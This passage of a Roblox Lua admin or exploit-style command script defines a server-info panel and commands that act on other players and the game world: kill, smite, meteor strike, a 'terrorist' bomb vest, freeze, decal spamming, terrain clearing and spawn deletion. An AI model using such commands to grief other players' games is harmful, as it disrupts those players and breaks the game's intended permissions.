Enum.FontSize.Size14 placeid.Text = "Place ID: Loading..." placeid.TextColor3 = Color3.new(1, 1, 1) placeid.TextStrokeTransparency = 0 placeid.TextXAlignment = Enum.TextXAlignment.Left playerid.Name = "playerid" playerid.Parent = ContainerFrame playerid.BackgroundColor3 = Color3.new(0, 0.8, 1) playerid.BackgroundTransparency = 1 playerid.BorderColor3 = Color3.new(0.2, 0.8, 0.2) playerid.Position = UDim2.new(0, 10, 0, 20) playerid.Size = UDim2.new(0, 100, 0, 20) playerid.ZIndex = 10 playerid.Font = Enum.Font.ArialBold playerid.FontSize = Enum.FontSize.Size14 playerid.Text = "Player ID: Loading..." playerid.TextColor3 = Color3.new(1, 1, 1) playerid.TextStrokeTransparency = 0 playerid.TextXAlignment = Enum.TextXAlignment.Left players.Name = "players" players.Parent = ContainerFrame players.BackgroundColor3 = Color3.new(0, 0.8, 1) players.BackgroundTransparency = 1 players.BorderColor3 = Color3.new(0.2, 0.8, 0.2) players.Position = UDim2.new(0, 10, 0, 140) players.Size = UDim2.new(0, 100, 0, 20) players.ZIndex = 100 players.Font = Enum.Font.ArialBold players.FontSize = Enum.FontSize.Size14 players.Text = "Loading..." players.TextColor3 = Color3.new(1, 1, 1) players.TextStrokeTransparency = 0 players.TextXAlignment = Enum.TextXAlignment.Left local SINFOGUI = ContainerFrame drag:TweenPosition(UDim2.new(0.5, -150, 0, 100), "InOut", "Quart", 0.5, true, nil) SINFOGUIopen = true wait(0.5) local Asset = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId) SINFOGUI.name.Text = "Place: " .. Asset.Name Exit.MouseButton1Click:Connect(function() drag:TweenPosition(UDim2.new(0.5, -150, 0, -400), "InOut", "Quart", 0.5, true, nil) wait(0.6) SINFOGUIopen = false Sinfo:Destroy() end) SINFOGUI.playerid.Text = "Player ID: " ..gPlayers.LocalPlayer.UserId if workspace.FilteringEnabled == true then SINFOGUI.fe.Text = "Filtering Enabled" elseif workspace.FilteringEnabled == false then SINFOGUI.fe.Text = "Filtering Disabled" end SINFOGUI.maxplayers.Text = gPlayers.MaxPlayers.. " Players Max" SINFOGUI.placeid.Text = "Place ID: " ..game.PlaceId repeat players = gPlayers:getPlayers() SINFOGUI.players.Text = #players.. " Player(s)" SINFOGUI.appearance.Text = "Appearance: " ..gPlayers.LocalPlayer.CharacterAppearanceId local seconds = math.floor(workspace.DistributedGameTime) local minutes = math.floor(workspace.DistributedGameTime / 60) local hours = math.floor(workspace.DistributedGameTime / 60 / 60) local seconds = seconds - (minutes * 60) local minutes = minutes - (hours * 60) if hours < 1 then if minutes < 1 then SINFOGUI.Time.Text = seconds .. " Second(s)" else SINFOGUI.Time.Text = minutes .. " Minute(s), " .. seconds .. " Second(s)" end else SINFOGUI.Time.Text = hours .. " Hour(s), " .. minutes .. " Minute(s), " .. seconds .. " Second(s)" end wait(1) until SINFOGUIopen == false end end addcmd('serverinfo', 'gives you info about the server',{'info','sinfo'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else serverinfogui() end end) addcmd('sparkles', 'give a player sparkles',{'sp'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar=_char(v) local Sparkles1 = Instance.new("Sparkles", pchar.Head) local Sparkles2 = Instance.new("Sparkles", pchar.HumanoidRootPart) local Sparkles3 = Instance.new("Sparkles", pchar["Left Arm"]) local Sparkles4 = Instance.new("Sparkles", pchar["Right Arm"]) local Sparkles5 = Instance.new("Sparkles", pchar["Left Leg"]) local Sparkles6 = Instance.new("Sparkles", pchar["Right Leg"]) if not args[2] then return end Sparkles1.Color = Color3.new((args[2]),(args[3]),(args[4])) Sparkles2.Color = Color3.new((args[2]),(args[3]),(args[4])) Sparkles3.Color = Color3.new((args[2]),(args[3]),(args[4])) Sparkles4.Color = Color3.new((args[2]),(args[3]),(args[4])) Sparkles5.Color = Color3.new((args[2]),(args[3]),(args[4])) Sparkles6.Color = Color3.new((args[2]),(args[3]),(args[4])) end) end end) addcmd('nosparkles', 'remove sparkles from a player',{'unsparkles','unsp','nosp'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for j,v1 in pairs(pchar:GetDescendants()) do if v1:IsA("Sparkles") then v1:Destroy() end end end end) addcmd('smoke', 'give a player smoke',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) Instance.new("Smoke", pchar.HumanoidRootPart) end end) addcmd('addstat', 'give a player a stat',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if gPlayers[v]:FindFirstChild("leaderstats") then for _, child in pairs(gPlayers[v].leaderstats:GetChildren()) do if child.Name == "STAT" then child:Destroy() end end local score = Instance.new("StringValue") score.Name = "STAT" score.Value = GLS(false, 1) score.Parent = gPlayers[v].leaderstats else local stats = Instance.new("IntValue") stats.Name = "leaderstats" stats.Parent = gPlayers[v] for _, child in pairs(gPlayers[v].leaderstats:GetChildren()) do if child.Name == "STAT" then child:Destroy() end end local score = Instance.new("StringValue") score.Name = "STAT" score.Value = GLS(false, 1) score.Parent = gPlayers[v].leaderstats end end) end end) addcmd('unsmoke', 'remove smoke from a player',{'nosmoke'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for j,v1 in pairs(pchar:GetDescendants()) do if v1:IsA("Smoke") then v1:Destroy() end end end end) addcmd('longneck', 'makes a player have a really long neck',{'giraffe'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for i,v in pairs(pchar:GetChildren()) do if pchar.Torso:FindFirstChild("Neck") then pchar.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180)) local Neck = pchar:FindFirstChild("Neck") if Neck then Neck:Destroy() end Neck = Instance.new("Part", pchar) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(pchar.Head.BrickColor)) Neck.Locked = true local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7) local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = pchar.Torso Weld.C0 = CFrame.new(0,-2,0) end end end end) addcmd('unlongneck', 'makes a player have a really long neck',{'nolongneck', 'ungiraffe', 'nogiraffe'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for i,v in pairs(pchar:GetChildren()) do pchar.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180)) local Neck = pchar:FindFirstChild("Neck") if Neck then Neck:Destroy() end end end end) addcmd('removeterrain', 'rip terrain',{'noterrain','clrterrain'}, function(args, speaker) workspace.Terrain:Clear() end) addcmd('smite','get hit by lightning',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) spawn(function() local char = pchar local zeus = Instance.new("Model",char) local cloud = Instance.new("Part",zeus) cloud.Anchored = true cloud.CanCollide = false cloud.CFrame = char.HumanoidRootPart.CFrame*CFrame.new(0,25,0) local sound = Instance.new("Sound",cloud) sound.SoundId = "rbxassetid://133426162" local mesh = Instance.new("SpecialMesh",cloud) mesh.MeshId = "http://www.roblox.com/asset/?id=1095708" mesh.TextureId = "http://www.roblox.com/asset/?id=1095709" mesh.Scale = Vector3.new(30,30,40) mesh.VertexColor = Vector3.new(0.3,0.3,0.3) local light = Instance.new("PointLight",cloud) light.Color = Color3.new(0,85/255,1) light.Brightness = 10 light.Range = 30 light.Enabled = false wait(0.2) sound.Volume = 0.5 sound.Pitch = 0.8 sound:Play() light.Enabled = true wait(1/100) light.Enabled = false wait(0.2) light.Enabled = true light.Brightness = 1 wait(0.05) light.Brightness = 3 wait(0.02) light.Brightness = 1 wait(0.07) light.Brightness = 10 wait(0.09) light.Brightness = 0 wait(0.01) light.Brightness = 7 light.Enabled = false wait(1.5) local part1 = Instance.new("Part",zeus) part1.Anchored = true part1.CanCollide = false part1.Size = Vector3.new(2, 9.2, 1) part1.BrickColor = BrickColor.new("New Yeller") part1.Transparency = 0.6 part1.BottomSurface = "Smooth" part1.TopSurface = "Smooth" part1.CFrame = char.HumanoidRootPart.CFrame*CFrame.new(0,15,0) part1.Rotation = Vector3.new(0.359, 1.4, -14.361) wait() local part2 = part1:clone() part2.Parent = zeus part2.Size = Vector3.new(1, 7.48, 2) part2.CFrame = char.HumanoidRootPart.CFrame*CFrame.new(0,7.5,0) part2.Rotation = Vector3.new(77.514, -75.232, 78.051) wait() local part3 = part1:clone() part3.Parent = zeus part3.Size = Vector3.new(1.86, 7.56, 1) part3.CFrame = char.HumanoidRootPart.CFrame*CFrame.new(0,1,0) part3.Rotation = Vector3.new(0, 0, -11.128) sound.SoundId = "rbxassetid://130818250" sound.Volume = 1 sound.Pitch = 1 sound:Play() wait() part1.Transparency = 1 part2.Transparency = 1 part3.Transparency = 1 Instance.new("Smoke",char.HumanoidRootPart).Color = Color3.new(0,0,0) char:BreakJoints() end) end end) addcmd('asteroid','get hit by an asteroid',{'meteor', 'meteorite'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar=_char(v) local Ast = Instance.new("Part", workspace) Ast.Name = "Asteroid" Ast.Position = pchar.HumanoidRootPart.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12) local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030" local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10 local f = Instance.new("Sound") f.Name = "fly" f.SoundId = "rbxassetid://179438534" f.Volume = 3 f.Pitch = 1 f.Looped = true f.archivable = true f.Parent = Ast f:play() local Touched = false coroutine.wrap(function() repeat wait(0.1) Ast.Position = Vector3.new(pchar.HumanoidRootPart.Position.X, Ast.Position.Y, pchar.HumanoidRootPart.Position.Z) until not Ast or Ast.Parent == nil or Touched == true end)() Ast.Touched:connect(function(Part) if Touched == false then Touched = true Part:BreakJoints() local Boom = Instance.new("Explosion", workspace) Boom.Position = Ast.Position Boom.BlastPressure = 1000000 Boom.BlastRadius = 30 Fire.Heat = 0 Smoke.RiseVelocity = 0 f:Destroy() local s = Instance.new("Sound") s.Name = "boom" s.SoundId = "rbxassetid://188590169" s.Volume = 3 s.Pitch = 1 s.Looped = true s.archivable = true s.Parent = Ast s:play() coroutine.wrap(function() wait(10) s:Destroy() if Ast and Ast.Parent ~= nil then Ast:Destroy() end end)() end end) end) end end) addcmd('bomb','gives you a bomb vest',{'terrorist'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local Char=_char(v) local HumanoidRootPart = Char.HumanoidRootPart local TickWait = 1 local Dead = false local Position = Vector3.new(0,100,0) function NewPart(Parent) local Part = Instance.new("Part", Parent) Part.CanCollide = false Part.Position = Position Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth" Position = Position + Vector3.new(0,10,0) return Part end local Model = Char:FindFirstChild("Bomb") if Model then Model:Destroy() end local Model = Instance.new("Model", Char) Model.Name = "Bomb" local Belt = NewPart(Model) Belt.Size = Vector3.new(2.2,0.5,1.2) local Weld = Instance.new("Weld", Belt) Weld.Part0 = Belt Weld.Part1 = HumanoidRootPart Weld.C0 = CFrame.new(0,1.1,0) local Light = Instance.new("PointLight", Belt) Light.Range = 15 Light.Brightness = 5 Light.Color = Color3.new(1,0,0) local Beep = Instance.new("Sound", Belt) Beep.SoundId = "http://www.roblox.com/asset/?id=188588790" local ExplodeSound = Instance.new("Sound", Belt) ExplodeSound.SoundId = "http://www.roblox.com/asset/?id="..(tonumber((math.ceil(1776.66^2)+17).."."..string.rep("36",3))*77)+0.00003 ExplodeSound.Pitch = 2.8 ExplodeSound.Volume = 3 local Back = NewPart(Model) Back.Size = Vector3.new(1.5,1.5,0.5) local Weld = Instance.new("Weld", Back) Weld.Part0 = Back Weld.Part1 = HumanoidRootPart Weld.C0 = CFrame.new(0,0.1,-0.75) local StrapLeft = NewPart(Model) StrapLeft.Size = Vector3.new(0.2,0.5,1.6) local Weld = Instance.new("Weld", StrapLeft) Weld.Part0 = StrapLeft Weld.Part1 = HumanoidRootPart Weld.C0 = CFrame.new(0.65,-0.9,-0.2) local BuckleLeft = NewPart(Model) BuckleLeft.Size = Vector3.new(0.2,1.5,0.2) local Weld = Instance.new("Weld", BuckleLeft) Weld.Part0 = BuckleLeft Weld.Part1 = HumanoidRootPart Weld.C0 = CFrame.new(0.65,0.1,0.5) local StrapRight = NewPart(Model) StrapRight.Size = Vector3.new(0.2,0.5,1.6) local Weld = Instance.new("Weld", StrapRight) Weld.Part0 = StrapRight Weld.Part1 = HumanoidRootPart Weld.C0 = CFrame.new(-0.65,-0.9,-0.2) local BuckleRight = NewPart(Model) BuckleRight.Size = Vector3.new(0.2,1.5,0.2) local Weld = Instance.new("Weld", BuckleRight) Weld.Part0 = BuckleRight Weld.Part1 = HumanoidRootPart Weld.C0 = CFrame.new(-0.65,0.1,0.5) LightEnabled = true coroutine.wrap(function() repeat wait(TickWait) LightEnabled = not LightEnabled Light.Enabled = LightEnabled Beep:Play() until Dead == true or Char:FindFirstChild("Bomb") == nil end)() wait(10) if Dead == false then Dead = true ExplodeSound:Play(); wait(1.4) local Explosion = Instance.new("Explosion") Explosion.Position = Belt.Position Explosion.BlastPressure = 100000 Explosion.DestroyJointRadiusPercent = 0.7 Explosion.ExplosionType = "CratersAndDebris" Explosion.BlastRadius = 50 Explosion.Parent = workspace end end) end end) addcmd('btools', 'gives a player btools',{}, function(args, speaker) local players = getPlayer(args[1], speaker) if players ~= nil then for i, v in pairs(players) do Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 1 -- Model Grab Tool Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 2 -- Part Grab Tool Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 3 -- Clone Tool Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 4 -- Hammer Tool if FindTable(SPC, args[1]) then Notify('Gave building tools to ' ..args[1]) else Notify('Gave btools to player(s)') end end end end) addcmd('sword', 'gives a player a sword',{}, function(args, speaker) local players = getPlayer(args[1], speaker) if players ~= nil then for i, v in pairs(players) do coroutine.resume(coroutine.create(function() if gPlayers[v] and gPlayers[v]:findFirstChild("Backpack") then local sword = Instance.new("Tool", gPlayers[v].Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png" sword.GripForward = Vector3.new(-1,0,0) sword.GripPos = Vector3.new(0,0,-1.5) sword.GripRight = Vector3.new(0,1,0) sword.GripUp = Vector3.new(0,0,1) local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0 local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png" repeat wait() until gPlayers[v] and gPlayers[v].Character and gPlayers[v].Character:findFirstChild("Humanoid") local Damage = 15 local SlashSound = Instance.new("Sound", handle) SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Volume = 1 local LungeSound = Instance.new("Sound", handle) LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Volume = 1 local UnsheathSound = Instance.new("Sound", handle) UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Volume = 1 handle.Touched:connect(function(hit) if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and gPlayers[v].Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= gPlayers[v].Character.Humanoid then local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = speaker tag.Name = "creator" game:service("Debris"):AddItem(tag, 3) hit.Parent.Humanoid:TakeDamage(Damage) if not sword.Enabled or gPlayers[v].Character.Humanoid.Health <= 0 then return end sword.Enabled = false SlashSound:play() local slash = Instance.new("StringValue", sword) slash.Name = "toolanim" slash.Value = "Slash" wait(0.5) sword.Enabled = true end end) sword.Equipped:connect(function(hit) UnsheathSound:play() sword.Enabled = true end) end end)) end end end) addcmd('hatsize', 'changes players hat size',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do for i,v in pairs(gPlayers[v].Character:GetChildren()) do if v:IsA('Accessory') then for a,b in pairs(v.Handle:GetChildren()) do if b:IsA('SpecialMesh') then b.Scale = args[2] * Vector3.new(1, 1, 1) end end end end end end) addcmd('headsize', 'changes players head size',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do local plrchar = _players[v].Character if not plrchar.Humanoid:FindFirstChild('HeadScale') then if args[2] == 1 then plrchar.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25) plrchar.Head.Mesh.Offset = Vector3.new(0, 0, 0) else plrchar.Head.Mesh.Scale = args[2] * Vector3.new(1.25, 1.25, 1.25) end else plrchar.Humanoid.HeadScale.Value = args[2] end end end) addcmd('change', 'changes a players stat',{'stat'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if _players[v]:FindFirstChild('leaderstats') then for i,v in pairs(_players[v].leaderstats:GetChildren()) do if string.lower(v.Name) == string.lower(args[2]) and v:IsA('IntValue') or v:IsA('NumberValue') then if args[3] then v.Value = tonumber(args[3]) end elseif string.lower(v.Name) == string.lower(args[2]) and v:IsA('StringValue') then v.Value = GLS(false, 2) end end end end end) addcmd('draw', 'drawing tool',{}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else for i,v in next,game:children()do pcall(function() local c=v.className; rawset(getfenv(0),c:sub(1,1):lower()..c:sub(2),game:service(c)); end); end; user=players.LocalPlayer; uname=user.Name; guis=user.PlayerGui; pack=user.Backpack; keyDowns={}; freeKeys={}; shortcuts={}; _G.mine=_G.mine or{}; name='Draw3D'; url='http://www.roblox.com/asset/?id=%d'; iconNormal=url:format(96578285); iconOnDown=url:format(96584484); ver=0; drawPixel=0.10; _G.drawLimit=_G.drawLimit or 1000; _G.drawColor=_G.drawColor or Color3.new(); destroy=game.remove; find=game.findFirstChild; new=Instance.new; with=function(c) return function(p) local o=type(c)=='string'and new(c)or c; local x=p.Parent;p.Parent=nil; for i,v in next,p do o[i]=v; end; if(x)then o.Parent=x; end; return o; end; end; getPlace=function() if(find(workspace,'draw')==nil)then new('Model',workspace).Name='draw'; end; if(find(workspace.draw,uname)==nil)then new('Model',workspace.draw).Name=uname; end; return workspace.draw[uname]; end; drawLine=function(start,target) local gui=with'BlockMesh'{ Parent=with'Part'{ CFrame=CFrame.new(start,target)*CFrame.new(0,0,-(start-target).magnitude/2); Size=Vector3.new(drawPixel,drawPixel,(start-target).magnitude+.325*drawPixel); Parent=getPlace(); Color=_G.drawColor; BottomSurface=0; Anchored=true; TopSurface=0; formFactor=3; Name=name; }}.Parent; table.insert(_G.mine,gui); return gui; end; onDown=function() if(drawing)then return nil; end; if(selectGui.Adornee)then destroy(selectGui.Adornee); end; drawing=true; mouse.Icon=iconOnDown; ver=ver+1; local cVer,start,target=ver,mouse.hit.p; local group={}; repeat Wait(0.02); if(mouse.target and mouse.target.Name~=name and mouse.hit.p~=start)then target=mouse.hit.p; table.insert(group,drawLine(start,target)); start=target; end; until ver~=cVer; drawing=false; local groupM=new('Model',getPlace()); for i,v in next,group do if(v:IsDescendantOf(Workspace))then v.Parent=groupM; end; end; if(next(groupM:children())==nil)then destroy(groupM); end; end; onUp=function() mouse.Icon=iconNormal; ver=ver+1; end; onKeyDown=function(k) if(freeKeys[k]==false)then return false; end; freeKeys[k]=false; Wait(0.01); if(keyDowns[k])then keyDowns[k](); elseif(shortcuts[k])then shortcuts[k](); end; end; onKeyUp=function(k) freeKeys[k]=true; end; onMove=function() end; onSelect=function(lmouse) frame.Visible=true; mouse=lmouse; mouse.Icon=iconNormal; mouse.Button1Down:connect(onDown); mouse.KeyDown:connect(onKeyDown); mouse.Button1Up:connect(onUp); mouse.KeyUp:connect(onKeyUp); mouse.Move:connect(onMove); end; onDeselect=function() ver=ver+1; frame.Visible=false; selectGui.Adornee=nil; mouse.Icon=iconNormal; for i,v in next,freeKeys do freeKeys[i]=true; end; end; addButton=function(title,shortcut,fun) with'TextButton'{ Text=string.format(' %s (%s)',title,shortcut); TextXAlignment=0; Parent=frame; }.MouseButton1Up:connect(fun); shortcuts[shortcut]=fun; local c=#frame:children(); for i,v in next,frame:children()do v.Position=UDim2.new(0,0,0,20*(i-1)); v.Size=UDim2.new(1,0,0,20); end; frame.Position=UDim2.new(1,-152,.5,-c*10); frame.Size=UDim2.new(0,150,0,c*20); end; for i,v in next,{guis;pack;}do pcall(function() repeat until destroy(v[name]); end); end; tool=with'HopperBin'{ Parent=pack; Name=name; }; tool.Deselected:connect(onDeselect); tool.Selected:connect(onSelect); screen=with'ScreenGui'{ Parent=guis; Name=name; }; frame=with'Frame'{ Parent=screen; Visible=false; }; clframe=with'Frame'{ Position=UDim2.new(.5,-50,.5,-50); Size=UDim2.new(0,100,0,100); Visible=false; Parent=screen; }; selectGui=with'SelectionBox'{ Parent=screen; }; local c=0; for y=0,7 do for x=0,7 do local color=BrickColor.palette(c).Color; with'ImageButton'{ Position=UDim2.new(.125*x,0,.125*y); Size=UDim2.new(.125,0,.125); BackgroundColor3=color; Parent=clframe; }.MouseButton1Up:connect(function() clframe.Visible=false; _G.drawColor=color; end); c=c+1; end; end; addButton('Color','c',function() clframe.Visible=true; end); addButton('Remove your draws','r',function() repeat destroy(_G.mine[1]); table.remove(_G.mine,1); Wait(0.01); until nil; end); addButton('Remove global draws','k',function() destroy(workspace.draw); while(_G.mine[1])do destroy(_G.mine[1]); table.remove(_G.mine,1); end; end); addButton('Remove selected','x',function() repeat if(find(workspace,'draw'))then local dt=mouse.target; if(dt and dt:IsDescendantOf(workspace.draw))then selectGui.Adornee=dt.Parent; else selectGui.Adornee=nil; end; else selectGui.Adornee=nil; end; Wait(0.01); until freeKeys.x; selectGui.Adornee=nil; end); repeat Wait(0.01); if(next(_G.mine)and _G.mine[_G.drawLimit])then destroy(_G.mine[1]); table.remove(_G.mine,1); end; until script.Parent==nil or tool.Parent==nil; script.Disabled=true; destroy(screen); end end) addcmd('god', 'gods player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) if pchar then pchar.Humanoid.MaxHealth=math.huge end end end) addcmd('sgod', 'silently gods player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) spawn(function() pchar.Humanoid.MaxHealth = 10000000 wait() pchar.Humanoid.Health = 10000000 if FindTable(SPC, args[1]) then Notify('Silent godded ' ..args[1]) else Notify('Silent godded player(s)') end end) end end) addcmd('ungod', 'removes god from a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) if pchar then pchar.Humanoid.MaxHealth=100 pchar.Humanoid.Health=100 end end end) addcmd('heal', 'resets a players health',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar=_char(v) if pchar then pchar.Humanoid.Health=pchar.Humanoid.MaxHealth;end end) end end) addcmd('fart', 'makes u fart',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar=_char(v) fart = Instance.new("Smoke") fart.Parent = pchar.HumanoidRootPart fart.Color = Color3.new(255/255, 255/255, 0) fart.Opacity = 0.4 fart.Size = 1.0 fart.RiseVelocity = 8 fartsound = Instance.new("Sound", workspace) fsound = "http://www.roblox.com/asset?id=251309043" fartsound.SoundId = fsound fartsound.Volume = 1.0 fartsound:Play() wait(9.0) fartsound:Destroy() pchar.HumanoidRootPart.Smoke:Destroy() end) end end) addcmd('decalspam', 'you can already guess...',{}, function(args, speaker) Notify('Decal Spammed ID: ' ..args[1]) wait(4) decalID = args[1] function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("BasePart") then local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id="..decalID Two.Texture = "http://www.roblox.com/asset/?id="..decalID Three.Texture = "http://www.roblox.com/asset/?id="..decalID Four.Texture = "http://www.roblox.com/asset/?id="..decalID Five.Texture = "http://www.roblox.com/asset/?id="..decalID Six.Texture = "http://www.roblox.com/asset/?id="..decalID One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" One.Name = "IYdecal" Two.Name = "IYdecal" Three.Name = "IYdecal" Four.Name = "IYdecal" Five.Name = "IYdecal" Six.Name = "IYdecal" end exPro(v) end end function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end) addcmd('undecalspam', 'removes the mess',{}, function(args, speaker) Notify('Removing Decal Spam...') wait(4) function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture == "http://www.roblox.com/asset/?id="..decalID then v.Parent = nil end exPro(v) end end function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end) addcmd('sky', 'sets the sky',{'skybox'}, function(args, speaker) for i,v in pairs(LightingService:GetChildren()) do if v:IsA('Sky') then v:Remove() end end s = Instance.new("Sky") s.Name = "Sky" s.Parent = LightingService local skyboxID = args[1] s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID LightingService.TimeOfDay = 12 end) addcmd('freeze', 'freezes a player',{'fr'}, function(args, speaker) local players = getPlayer(args[1], speaker) if players ~= nil then for i, v in pairs(players) do spawn(function() for i, x in next, _char(v):GetDescendants() do if x:IsA("Part") and not x.Anchored then x.Anchored = true end end end) end end end) addcmd('thaw', 'unfreezes a player',{'unfreeze','unfr'}, function(args, speaker) local players = getPlayer(args[1], speaker) if players ~= nil then for i, v in pairs(players) do spawn(function() for i, x in next, _char(v):GetDescendants() do if x:IsA("Part") and x.Anchored then x.Anchored = false end end end) end end end) addcmd('spawn', 'places a spawn',{'spawnpoint'}, function(args, speaker) local players = getPlayer(args[1], speaker) if players ~= nil then for i, v in pairs(players) do local M = Instance.new('SpawnLocation', workspace) M.Name = 'IYspawn' M.CFrame = _char(v).HumanoidRootPart.CFrame M.Color = maincolor M.Material = 'Neon' M.Size = Vector3.new(6, 1, 6) M.Position = _char(v).HumanoidRootPart.Position + Vector3.new(0, -3.5, 0) M.Anchored = true end end end) addcmd('deletespawns', 'places a spawn',{'removespawns'}, function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v:IsA("SpawnLocation") then v:Destroy() end end end) addcmd('neon', 'makes a player neon',{}, function(args, speaker) local players = getPlayer(args[1], speaker) if players ~= nil then for i, v in pairs(players) do for _, child in pairs( _char(v):GetChildren()) do if child.ClassName == "CharacterMesh" then child:Destroy() end end for _, child in pairs( _char(v):GetChildren()) do if child.ClassName == "Shirt" then child:Destroy() end end for _, child in pairs( _char(v):GetChildren()) do if child.ClassName == "Pants" then child:Destroy() end end for _, child in pairs( _char(v):GetChildren()) do if child.ClassName == "Part" then child.Material = "Neon" end end end end end) addcmd('kill', 'kills a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) if pchar then pchar.Humanoid.MaxHealth=0;pchar.Humanoid.Health=0;end end end) addcmd('knuckles', 'kills a player',{'ugandaknuckles'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local plr = gPlayers[v] local char = plr.Character local mouse = plr:GetMouse() char.Humanoid.WalkSpeed = 100 char.Humanoid.JumpPower = 70 spawn(function() for i,v in pairs(char:GetChildren()) do if v:IsA("BasePart") then coroutine.wrap(function() for i=0,1,.1 do wait() v.Transparency = v.Transparency +i end end)() end end for i,v in pairs(char:GetChildren()) do if v:IsA("Accessory") then coroutine.wrap(function() for i=0,1,.1 do wait() v.Handle.Transparency = v.Handle.Transparency +i end end)() end end end) char.Head.face:Destroy() wait(1) local s = Instance.new("Sound") s.Name = "wae" s.SoundId = "http://www.roblox.com/asset/?id=1308281913" s.Volume = 1 s.Pitch = 1 s.Looped = true s.archivable = true s.Parent = gPlayers.LocalPlayer.Character.Head s:play() local daqueen = Instance.new("Part",char) daqueen.Name = "asd" daqueen.CanCollide = false local mesh = Instance.new("SpecialMesh",daqueen) mesh.Scale = Vector3.new(0.1,0.1,0.1) mesh.MeshId = "rbxassetid://1300136843" local text = Instance.new("Decal",daqueen) text.Name = "asd" text.Texture = "rbxassetid://1300137893" local knowdawey = Instance.new("Weld",char) knowdawey.Part0 = char.HumanoidRootPart knowdawey.Part1 = daqueen local eye1 = Instance.new("Part") eye1.CanCollide = false eye1.Parent = char local mesh1 = Instance.new("SpecialMesh",eye1) mesh1.MeshId = "rbxassetid://1300138314" mesh1.Scale = Vector3.new(0.1,0.1,0.2) local eyetext = Instance.new("Decal",eye1) eyetext.Texture = 